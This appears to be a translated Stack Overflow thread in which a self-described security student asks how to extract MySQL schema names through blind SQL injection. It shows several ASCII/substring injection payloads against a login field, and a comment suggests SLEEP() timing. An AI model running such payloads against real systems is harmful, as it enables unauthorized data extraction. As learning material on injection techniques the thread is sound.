使用 MySQL 表的盲 SQLInjection

Blind SQLInjection with MySQL Tables

提问人:Miguel.G 提问时间:11/28/2018 更新时间:1/4/2019 访问量:1424

问:

我正在开发一个脚本来对MySQL数据库执行SLQInjection攻击。此脚本已获取用户名和主机名。但是,我不知道如何获取表的值。

让我们举个例子。我想用这句话获取MySQL中的模式:

 SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

我执行的攻击是这样的:

usuario=admin' AND $ascii_value<ASCII(substring(user(),$i,1)) and '1'='1

通过这种方式,我运行用户名以获取其 ASCII 值。显然,如果我尝试将这两种表达式组合在一起:

usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA),$i,1)) and '1'='1

我一无所获。好吧,可能有两个模式,所以让我们至少得到第一个模式。

usuario=admin' AND $ascii_value<ASCII(substring((SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA ORDER BY SCHEMA_NAME DESC LIMIT 0,1),$i,1)) and '1'='1

它不再起作用了。例如,如何在盲目 sqlinjection 攻击中提取模式名称?

谢谢!!

mysql 架构 sql 代码注入

评论

0赞 Raymond Nijland 11/28/2018
StackOverflow 并不意味着要获得黑客攻击的答案。因此,理想情况下,您应该说明您将使用它的用途。
1赞 Miguel.G 11/28/2018
我是安全学位的学生。我不会入侵白宫:)
0赞 Raymond Nijland 11/28/2018
题外话:如果你想做盲注,你最好的选择是使用MySQL函数到一个高数字,这样你就可以通过查看响应时间来更容易地看到盲注是否有效。SLEEP()
0赞 Miguel.G 11/28/2018
嗯,这很有帮助,谢谢!我要试试这种方式:)
0赞 Raymond Nijland 11/28/2018
等等,不要介意我的最后一个例子,你试图“暴力破解”当前用户可以访问的数据库名称。

答:

0赞 Gil Cohen 12/17/2018 #1

查看我的 SQL Injection Anywhere 白皮书,该白皮书将展示不同的二进制盲 SQL 注入技术,不是基于 WHERE 子句,而是基于 SQL 查询的其他部分: http://www.quotium.com/content/uploads/2005/01/SQL-Injection-Anywhere-White-Paper.pdf

此外,如果我遇到像你提到的问题,我会建立一个MySQL数据库,用数据填充它,并尝试执行你的有效负载。显然,要么存在语法错误,要么很可能存在业务逻辑短路错误。

祝你好运